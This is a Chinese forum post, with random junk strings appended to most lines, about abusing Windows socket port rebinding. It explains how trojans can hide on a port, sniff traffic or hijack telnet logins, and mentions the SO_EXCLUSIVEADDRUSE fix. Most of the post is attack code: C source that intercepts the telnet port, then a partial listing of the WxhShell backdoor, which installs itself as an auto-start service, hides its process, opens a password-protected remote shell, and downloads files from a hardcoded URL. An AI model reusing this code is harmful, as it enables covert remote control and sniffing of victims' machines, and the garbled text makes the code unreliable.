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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: V( -mD  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /k<WNZM  
S6AU[ASY.  
  saddr.sin_family = AF_INET; lhw ,J]0*  
<oo  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); _ h": >  
tPGJ<30  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); t$A%*JBKm  
uvV;Mlo]  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 k5C@>J  
k31I ysh  
  这意味着什么?意味着可以进行如下的攻击: |'{zri|A"  
$pFo Rv  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 w );6K[+;  
k}0^&Quc4  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) *0>mB  
,iv|Pq $!  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 WN_pd%m  
5GPo*Qpl  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  a'jR#MQl?  
Xixqxm*8  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 hQDTS>U  
h?FmBK'BAd  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 d R]Q$CJ  
3Bx:Ntx<  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 nYa*b=[.  
"eWYv3z~-  
  #include `p7&> BOA  
  #include A6pjRxg  
  #include f4guz  
  #include    F`9ZH.  
  DWORD WINAPI ClientThread(LPVOID lpParam);   4)<~4 '  
  int main() 4|`Bq}sjZf  
  { ~2zM kVH  
  WORD wVersionRequested; =l0Jb#d  
  DWORD ret; \C`~S7jC  
  WSADATA wsaData; ?x0pe4^If  
  BOOL val; 5n ^TRB  
  SOCKADDR_IN saddr; yH<$k^0r*  
  SOCKADDR_IN scaddr; ]+m/;&0  
  int err; )5.C]4jol  
  SOCKET s; ]d]JXt?)i  
  SOCKET sc; 8B#GbS K  
  int caddsize; WMBm6?54  
  HANDLE mt; bug Ot7  
  DWORD tid;   D Kw*~0  
  wVersionRequested = MAKEWORD( 2, 2 ); DS%\SrC  
  err = WSAStartup( wVersionRequested, &wsaData ); _` [h,=  
  if ( err != 0 ) { ]Y| 9?9d  
  printf("error!WSAStartup failed!\n"); W7\&~IWub  
  return -1; ZDC9oX @  
  } Vm|Y$ C  
  saddr.sin_family = AF_INET; )|I5j];L  
   -dO'~all  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 9P<[7u  
R i 'L  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); V&|!RxWK  
  saddr.sin_port = htons(23); NcAp_q? 4  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) LjH*rjS4  
  { 5&f{1M6l>  
  printf("error!socket failed!\n"); Jz!Z2c  
  return -1; 0ilCS[`b  
  } KnNh9^4"\2  
  val = TRUE; Z^9/v  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 )kJH5/  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) }BmS )J q  
  { HSIvWhg?p  
  printf("error!setsockopt failed!\n"); 5eA8niq#  
  return -1;  A, PlvI  
  } '>v^6i S  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; yt+}K)Hz  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 bhs(Qzx  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 /V?H4z[G  
NA.1QQ ;e  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) f):~8_0b  
  { {R^'=(YFy  
  ret=GetLastError(); o y<J6  
  printf("error!bind failed!\n"); IAOcKQ3  
  return -1; #2:a[ ~Lf  
  } )=Q)BN[  
  listen(s,2); i\H+X   
  while(1) ?'r9"M>  
  { \NqEw@91B  
  caddsize = sizeof(scaddr); pX=,iOF[I  
  //接受连接请求 z\/53Sy<  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ba3-t;S  
  if(sc!=INVALID_SOCKET) ?R5'#|EyX  
  { Uw<&Wm`'  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 5=KF!?  
  if(mt==NULL) M"_FrIO  
  { |8)Xc=Hz  
  printf("Thread Creat Failed!\n"); fRm}S>Nibb  
  break; y)F!c29  
  } F pt-V  
  } uvA(Rn  
  CloseHandle(mt); zx1:`K0bi  
  } A.Bk/N1G  
  closesocket(s); :Au /2  
  WSACleanup(); RH~3M0'0  
  return 0; Z v0C@r  
  }   x "(9II*  
  DWORD WINAPI ClientThread(LPVOID lpParam) Q&M'=+T  
  { %q_Miu@  
  SOCKET ss = (SOCKET)lpParam; Ih1|LR/c  
  SOCKET sc; N*DhjEU)[  
  unsigned char buf[4096]; iS@\ =CK  
  SOCKADDR_IN saddr; \%,&~4 !  
  long num; 2:$ k  
  DWORD val; TD04/ ISHT  
  DWORD ret; &B!%fd.'  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ]#<  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   qvt-  
  saddr.sin_family = AF_INET; sa1mC  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); M+sj}  
  saddr.sin_port = htons(23); uC~g#[I QM  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {4ptu~8  
  { ;^l_i4A  
  printf("error!socket failed!\n"); >kdM:MK  
  return -1; 4Y tk!oS`  
  } dm R3Y.\jd  
  val = 100; vW' 5 ` %  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) xKp0r1}  
  { { U <tc4^  
  ret = GetLastError(); Ohl} X 1  
  return -1; U  5`y  
  }  SNvb1&  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  ~q%  
  { _g6m=N4  
  ret = GetLastError(); <<3+g"enno  
  return -1; W._G0b4}  
  } +0pW/4x  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Bt>}LLBS2  
  { Wp*sP Z  
  printf("error!socket connect failed!\n"); a'[)9:  
  closesocket(sc); E_[ONm=,  
  closesocket(ss); J5T=!wF (  
  return -1; r`]7S_t5T  
  } 0~xaUM`  
  while(1) |vy]8?Ak  
  { 7b.U!Ju  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ^`&HWp  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ",Wf uz  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 6=>7M b$  
  num = recv(ss,buf,4096,0); WzG07 2w  
  if(num>0) u[t>Tg2R  
  send(sc,buf,num,0); g)M#{"H  
  else if(num==0) Q=.g1$LP  
  break; }W "(c YN_  
  num = recv(sc,buf,4096,0); yQS04Bl]  
  if(num>0) ~'f8L #[M  
  send(ss,buf,num,0); EHWv3sR-  
  else if(num==0) uAb 03Q  
  break; $i&\\QNn  
  } z1vni'%J  
  closesocket(ss); P`!Ak@N  
  closesocket(sc); &5/JfNe3  
  return 0 ; P7 8uq  
  } 3ExVZu$  
W}k[slqZA  
nE<J`Wo$f  
========================================================== ` Y\QUj  
u.&|CF-  
下边附上一个代码,,WXhSHELL !'PlDGD  
rHo6iJj  
========================================================== Lnx2xoNk  
y(a}IM3~  
#include "stdafx.h" ! ZA}b[  
%jgg59  
#include <stdio.h>  f }-v  
#include <string.h> O &\<FT5  
#include <windows.h> Gavkil  
#include <winsock2.h> sBB:$X  
#include <winsvc.h> jrdtd6b}  
#include <urlmon.h> }JJ::*W2n  
q]?+By-0  
#pragma comment (lib, "Ws2_32.lib") 8"pA9Mr  
#pragma comment (lib, "urlmon.lib") j5A\y^Kv  
+ks$UvtY  
#define MAX_USER   100 // 最大客户端连接数 =KW|#]RB^  
#define BUF_SOCK   200 // sock buffer Q}ZBr^*]1e  
#define KEY_BUFF   255 // 输入 buffer ^X(_zinN"  
" #J}A0  
#define REBOOT     0   // 重启 s3y}Yg  
#define SHUTDOWN   1   // 关机 6<Be#Y]b  
Y/!0Q6<[2Y  
#define DEF_PORT   5000 // 监听端口 x6~Fb~aP  
`v<f}  
#define REG_LEN     16   // 注册表键长度 2PI #ie4  
#define SVC_LEN     80   // NT服务名长度 MSF Nw  
X[Y #+z4  
// 从dll定义API 2O^32TdS  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); G)K9la<p  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); V?o&])?[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~v,!n/('  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =1_jaDp  
UFJEs[?+Te  
// wxhshell配置信息 M`q#,Y?3^I  
struct WSCFG { mURX I'JkX  
  int ws_port;         // 监听端口 u'{sB5_H  
  char ws_passstr[REG_LEN]; // 口令 C=M?  
  int ws_autoins;       // 安装标记, 1=yes 0=no 79y'Ja+`j  
  char ws_regname[REG_LEN]; // 注册表键名 CcbWW4 )  
  char ws_svcname[REG_LEN]; // 服务名 o(BYT9|.kw  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 s@R3#"I  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `~sf}S :  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >E{#HPpBi  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &<m WA]cAL  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <`^>bv9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 a'c9XG}  
CAcOWwDm  
}; 8'>.#vyMGv  
us(sZG  
// default Wxhshell configuration )yfOrsM  
struct WSCFG wscfg={DEF_PORT, 'Sm/t/g"|  
    "xuhuanlingzhe", k)o7COx  
    1, >7eu'  
    "Wxhshell", Zm?G'06  
    "Wxhshell", t(Cq(.u`:  
            "WxhShell Service", <L[  *hp  
    "Wrsky Windows CmdShell Service", B]CS2LEqh  
    "Please Input Your Password: ", 1mkQ"E4  
  1, #<^/yoH7C6  
  "http://www.wrsky.com/wxhshell.exe", n$A(6]z5O  
  "Wxhshell.exe" !dYX2!lvT  
    }; !^Qb[ev  
R;N>#_9HU  
// 消息定义模块 AF07KA#  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; C[HE4xF6  
char *msg_ws_prompt="\n\r? for help\n\r#>"; `RL(N4H  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; INeWi=1  
char *msg_ws_ext="\n\rExit."; ?.|wfBI  
char *msg_ws_end="\n\rQuit."; X_EC:GU  
char *msg_ws_boot="\n\rReboot..."; #m[w=Pu}  
char *msg_ws_poff="\n\rShutdown..."; ` Mv5!H5l  
char *msg_ws_down="\n\rSave to "; fNmG`Ke  
@/Wty@PU  
char *msg_ws_err="\n\rErr!"; I NFz X  
char *msg_ws_ok="\n\rOK!"; O=9VX  
B_6v'=7]  
char ExeFile[MAX_PATH]; *U5> j#,  
int nUser = 0; 9X*eE  
HANDLE handles[MAX_USER]; 8EVF<@{]  
int OsIsNt; N1B$G  
Jh/M}%@|  
SERVICE_STATUS       serviceStatus; 9# .NPfMF  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; q#':aXcv"  
b{ubp  
// 函数声明 tkUW)ScJ  
int Install(void); ~6Ee=NaLzP  
int Uninstall(void); ~,3v<A[5Vi  
int DownloadFile(char *sURL, SOCKET wsh); ^FyvaO  
int Boot(int flag); x X=IMM3  
void HideProc(void); 1\7"I-  
int GetOsVer(void); vVvt ]h  
int Wxhshell(SOCKET wsl); "ZK5P&d  
void TalkWithClient(void *cs); bC,M&<N  
int CmdShell(SOCKET sock); eG2qOq$[  
int StartFromService(void); Aj)< 8  
int StartWxhshell(LPSTR lpCmdLine); yz&q2  
R'a5,zEo/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [laL6  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); vGMOXbq4&  
zI*/u)48  
// 数据结构和表定义 =-B3vd:LF  
SERVICE_TABLE_ENTRY DispatchTable[] = ![."xHVeL  
{ =Q8^@i4[&D  
{wscfg.ws_svcname, NTServiceMain}, h"Yqm"U/  
{NULL, NULL} B}xo|:f!zj  
}; ch2e#Jf8  
E'kQ  
// 自我安装 8T1DcA*  
int Install(void) 7=ga_2  
{ E0?\DvA  
  char svExeFile[MAX_PATH]; 4~D>oNx4  
  HKEY key; y<LwrrJ>  
  strcpy(svExeFile,ExeFile); =[-- Hf  
F~- S3p  
// 如果是win9x系统,修改注册表设为自启动 3U.B[7fOM  
if(!OsIsNt) { N?<@o2{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'C?f"P:X{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y&I|m  
  RegCloseKey(key); UDi3dH=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "5DAGMU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !Z2n;.w  
  RegCloseKey(key); 9P >S[=  
  return 0;  $.]t1e7s  
    } ^~IcQ!j/5  
  } (7#lN  
} gkn/E}K#  
else { i3WmD@  
fvAV[9/-  
// 如果是NT以上系统,安装为系统服务 XGl13@=O  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3jdB8a]T_  
if (schSCManager!=0) EG8R*Cm,}  
{ ?m7"G)  
  SC_HANDLE schService = CreateService 8ch~UBq/  
  ( 3#ZKuGg=  
  schSCManager, O]LuL&=s y  
  wscfg.ws_svcname, iOXP\:mPo  
  wscfg.ws_svcdisp, uU !i`8  
  SERVICE_ALL_ACCESS, ik NFW*p  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , a7d-  
  SERVICE_AUTO_START, E4@fP] R+  
  SERVICE_ERROR_NORMAL, TS8E9#1a  
  svExeFile, dw}3B8]  
  NULL, OQ*. ho  
  NULL, U)1qsUDF  
  NULL, ~u& O  
  NULL, D>^ix[:J  
  NULL qtwmTT)  
  ); 3Qr!?=nf  
  if (schService!=0)  M!DoR6  
  { Y9ce"*b  
  CloseServiceHandle(schService); 0J-ux"kfI  
  CloseServiceHandle(schSCManager); ,#;ahwU~s  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); S^n4aBm\+  
  strcat(svExeFile,wscfg.ws_svcname); H#` ?toS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &t:MWb;  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); K'/x9.'%  
  RegCloseKey(key); 5|t&qUV  
  return 0; ?0&>?-?  
    } HUI!IOh  
  } M_)T=s *  
  CloseServiceHandle(schSCManager); ,$[lOFs  
} DNO%J^  
} sb5kexGxkc  
[B<{3*R_  
return 1; RIc<  
} }}2hI`   
8rNxd=!  
// 自我卸载 TrA Uu`?#  
int Uninstall(void) MT gEq  
{ V1qHl5"  
  HKEY key; @V u[Tg}J  
/bk} J:QRg  
if(!OsIsNt) { ;<rJ,X#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m&8_i`%<  
  RegDeleteValue(key,wscfg.ws_regname); B ~GyS"  
  RegCloseKey(key); +y#979A,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \bE~iz3b9  
  RegDeleteValue(key,wscfg.ws_regname); 4B pm{b  
  RegCloseKey(key); k/Q]K e  
  return 0; { ,srj['RS  
  } _<Tz 1>j=  
} 2 ARh-zLb  
} %hQ`b$07t  
else { XA%?35v~  
`Y9@?s Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); qQryv_QP  
if (schSCManager!=0) h2K  
{ ~8E rl3=5{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =p:6u_@XWj  
  if (schService!=0) ;pq4El_  
  { Hqv(X=6E0  
  if(DeleteService(schService)!=0) { $dVjxo  
  CloseServiceHandle(schService); :l{-UkbB  
  CloseServiceHandle(schSCManager); iLei-\w6y  
  return 0; ymu#u   
  } 1+zax*gO-  
  CloseServiceHandle(schService); )JON&~C  
  } 6A<aelE*i  
  CloseServiceHandle(schSCManager); ZgtOy|?|  
} NKN!X/P  
} QBg'VV  
s RB8 jY  
return 1; 6|x<) Gc  
} C_o.d~xm  
mqpZby  
// 从指定url下载文件 ~$<@:z{*  
int DownloadFile(char *sURL, SOCKET wsh) DzMkeX  
{ qm_\#r  
  HRESULT hr; -lHJ\=  
char seps[]= "/"; &0myA_So  
char *token; oUH\SW8?  
char *file; ^;e`ZtcI  
char myURL[MAX_PATH]; BL7%MvDQ  
char myFILE[MAX_PATH]; ,wjL3c  
`1dr$U  
strcpy(myURL,sURL); )yJjJ:re  
  token=strtok(myURL,seps); 1RLSeT  
  while(token!=NULL) N|; cG[W  
  { 49yN|h;c!  
    file=token; #&^+hx|  
  token=strtok(NULL,seps); xxYFWvi  
  } f>o@Y]/l  
6_7d1.wv9  
GetCurrentDirectory(MAX_PATH,myFILE); G{<wXxq%  
strcat(myFILE, "\\"); ;:OJQFu%4  
strcat(myFILE, file); 8LOzL,Ah  
  send(wsh,myFILE,strlen(myFILE),0); mdwY48b  
send(wsh,"...",3,0); Wr;)3K  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); B{Rig5Sc  
  if(hr==S_OK) a2zo_h2R  
return 0; m&2m' =(  
else q?6Zu:':  
return 1; m{X;|-DK[  
}I]9I _S  
} r&#q=R},p  
Jv5G:M5+~  
// 系统电源模块 UV=TU=A\o  
int Boot(int flag) XHW{EVcF  
{ k,H4<")H  
  HANDLE hToken; Y?> S.B7  
  TOKEN_PRIVILEGES tkp; i''dY!2  
{^~{X$YI  
  if(OsIsNt) { !R-UL#w9W'  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Z|)~2[Roa  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;@sxE}`?g  
    tkp.PrivilegeCount = 1; :x_l"y"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ym:JtI69   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); x9uA@$l^|  
if(flag==REBOOT) { sQR;!-j  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) C~ >'pS6%5  
  return 0; X;-,3dy  
} |^FDsJUN  
else { ;$Wa=wHb  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3p7*UVR"  
  return 0; Ros5]5=dP  
} v5&WW?IBQ  
  } Odagaca  
  else { p_qH7W  
if(flag==REBOOT) { H~ (I  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) l_DPlY  
  return 0; fY>\VY$>  
} <F&S   
else { rGoB&% pc  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) p/@z4TCNX  
  return 0; Yd]f}5F  
} $WdZAv\_S  
} e7<~[>g)  
h$lY,7  
return 1; 5^ pQ=Sgt  
} ctj.rC)6n  
SJw0y[IL6(  
// win9x进程隐藏模块 m^p Q55,   
void HideProc(void) X!r!lW  
{ Oi7|R7NE  
 xU)~)eK  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); | YvO$4=s  
  if ( hKernel != NULL ) }P^{\SDX  
  { hd+JKh!u  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); NJn~XCq  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); x'}{^'}/  
    FreeLibrary(hKernel); =_=jXWOQv  
  } W.>yIA%  
W C}mt%H*O  
return; bvZmo zbD  
} O>H4hp  
SxMh '  
// 获取操作系统版本 r/8,4:rh  
int GetOsVer(void) l~!#<=.  
{ 3"%:S_[  
  OSVERSIONINFO winfo; ^1}}-9q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); QD7>S(p  
  GetVersionEx(&winfo); a ipvG  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `4XfT.9GT  
  return 1; <PXA`]x~  
  else 852$Ui|I  
  return 0; )p(XY34]  
} q18dSu  
JWM/np6  
// 客户端句柄模块 I C7n;n9  
int Wxhshell(SOCKET wsl) DtyT8kr  
{ ,1QU  
  SOCKET wsh; ;p1%KmK3  
  struct sockaddr_in client; h|_G2p^J+"  
  DWORD myID; 2L ~U^  
6$2)m;| XY  
  while(nUser<MAX_USER) to+jQ9q8  
{ s|YY i~  
  int nSize=sizeof(client); Z5_MSPm  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); v='7.A  
  if(wsh==INVALID_SOCKET) return 1; QZ%_hvY[%>  
tHD mX  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); X2Y-TE T  
if(handles[nUser]==0) m &c8@-T  
  closesocket(wsh); h?fv:^vSi  
else liPUK#  
  nUser++; H?M8j] R-)  
  } Wv$e/N`l  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %]RzC`NZ  
k2p{<SO;  
  return 0; :8Mp SvCV  
} !)KX?i[Q  
xs+MvXTC  
// 关闭 socket MZ6?s(mkx  
void CloseIt(SOCKET wsh) 99H&#!~bSS  
{ 5H`k$[3V  
closesocket(wsh); h,0mJj-ma  
nUser--; |_ E)2b:h  
ExitThread(0); ~{oM&I|d8  
} .Mdxbs6.C  
mp%i(Y"vp  
// 客户端请求句柄 PtwE[YDu  
void TalkWithClient(void *cs) !2$O^ }6"  
{ p7Gs  
-E?h^J&U  
  SOCKET wsh=(SOCKET)cs; Z_cTuu0'  
  char pwd[SVC_LEN]; $yHlkd`Y  
  char cmd[KEY_BUFF]; D 0\  
char chr[1]; VO/" ot  
int i,j; p8Ts5n  
>Ix)jSNLgo  
  while (nUser < MAX_USER) { VctAQ|h^  
dEJ>8e8  
if(wscfg.ws_passstr) { J'.U+XU  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); % )?$82=2  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }`\+_@ w  
  //ZeroMemory(pwd,KEY_BUFF); 9=K=gfZ  
      i=0; {{SeD:hx  
  while(i<SVC_LEN) { ie=tM'fb  
IH'DCY:  
  // 设置超时 J}nE,U2  
  fd_set FdRead; C$b$)uI;  
  struct timeval TimeOut; zgJ%Zr!~  
  FD_ZERO(&FdRead); |*e >hk  
  FD_SET(wsh,&FdRead); -{-w5_B$  
  TimeOut.tv_sec=8; vn KKK.E  
  TimeOut.tv_usec=0; =;i@,{ ~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Kisd.~u8j  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); BJ@tU n  
ZBB^?FF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Yq $(Ex  
  pwd=chr[0]; "P~0 7  
  if(chr[0]==0xd || chr[0]==0xa) { &w- QMj M>  
  pwd=0; mflH&Bx9  
  break; 7eqax33f  
  } "'~'xaU!=a  
  i++; #-+!t<\  
    } )K4 |-<i  
Z1wN+Y.CA  
  // 如果是非法用户,关闭 socket NgaX&m`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [kDjht|$>  
} ^^qB=N[';  
$21+6  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ik=~`3Zp0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1l"A7 V  
xVao3+r  
while(1) { c6:"5};_  
Ig-9Y;hdmn  
  ZeroMemory(cmd,KEY_BUFF); NX4!G>v  
82WXgB>  
      // 自动支持客户端 telnet标准   Bmm#5X@*  
  j=0; Eb7qM.Q] &  
  while(j<KEY_BUFF) { R+ lwOVX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cE '`W7&A  
  cmd[j]=chr[0]; hu%UEB  
  if(chr[0]==0xa || chr[0]==0xd) { }eXzs_  
  cmd[j]=0; : |#Iw  
  break; rZ/,^[T  
  } o$FqMRep  
  j++; c^S^"M|  
    } "2o,XF  
*Em 9R  
  // 下载文件 gk>-h,>"  
  if(strstr(cmd,"http://")) { \Lv eZ_h5  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ( 1T2? mO  
  if(DownloadFile(cmd,wsh)) (D]l/akP  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]&`_5pS  
  else ;aExEgTq  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DBANq\  
  } ?vuM'UH-  
  else { DBYD>UA  
h7c8K)ntnf  
    switch(cmd[0]) { RUC V!L  
  W2G`K+p  
  // 帮助 ,'?%z>RZm  
  case '?': { 3 [: x#r  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .|}ogTEf  
    break; =|O`al  
  } `d2}>  
  // 安装 ?sWPx!tU  
  case 'i': { S^? @vj  
    if(Install()) O?/\hZ"&c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B- =*"H?q  
    else Wu(6FQ`H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tz \7,yGT  
    break; >H?l[*9  
    } Wly-z$\  
  // 卸载 mE^mQ [Dk  
  case 'r': { /Aoo h~  
    if(Uninstall()) a@$U?=\e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5<\&7P3y  
    else t-*oVX3D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0Aw.aQ~E8i  
    break; {Tb(4or?=b  
    } 6Ko[[?Lf[  
  // 显示 wxhshell 所在路径 0i/l2&x*k]  
  case 'p': { 2mN>7Tj:  
    char svExeFile[MAX_PATH]; ]`)50\pdw  
    strcpy(svExeFile,"\n\r"); 25]Mi2_  
      strcat(svExeFile,ExeFile); DP**pf%j  
        send(wsh,svExeFile,strlen(svExeFile),0); JYB"\VV  
    break; A@-nn]  
    } RO"c+|Py  
  // 重启 (~}IoQp>  
  case 'b': { v1%rlP  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Fw? ;Y%  
    if(Boot(REBOOT)) 0PO'9#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fr kDf-P  
    else { ~&B{"d  
    closesocket(wsh); -jy- KC  
    ExitThread(0); f(~xdR))eh  
    } W<C \g~\  
    break; t:NTk(  
    } D{g6M>,\  
  // 关机 fQ c%a1'  
  case 'd': { UUi@ U  
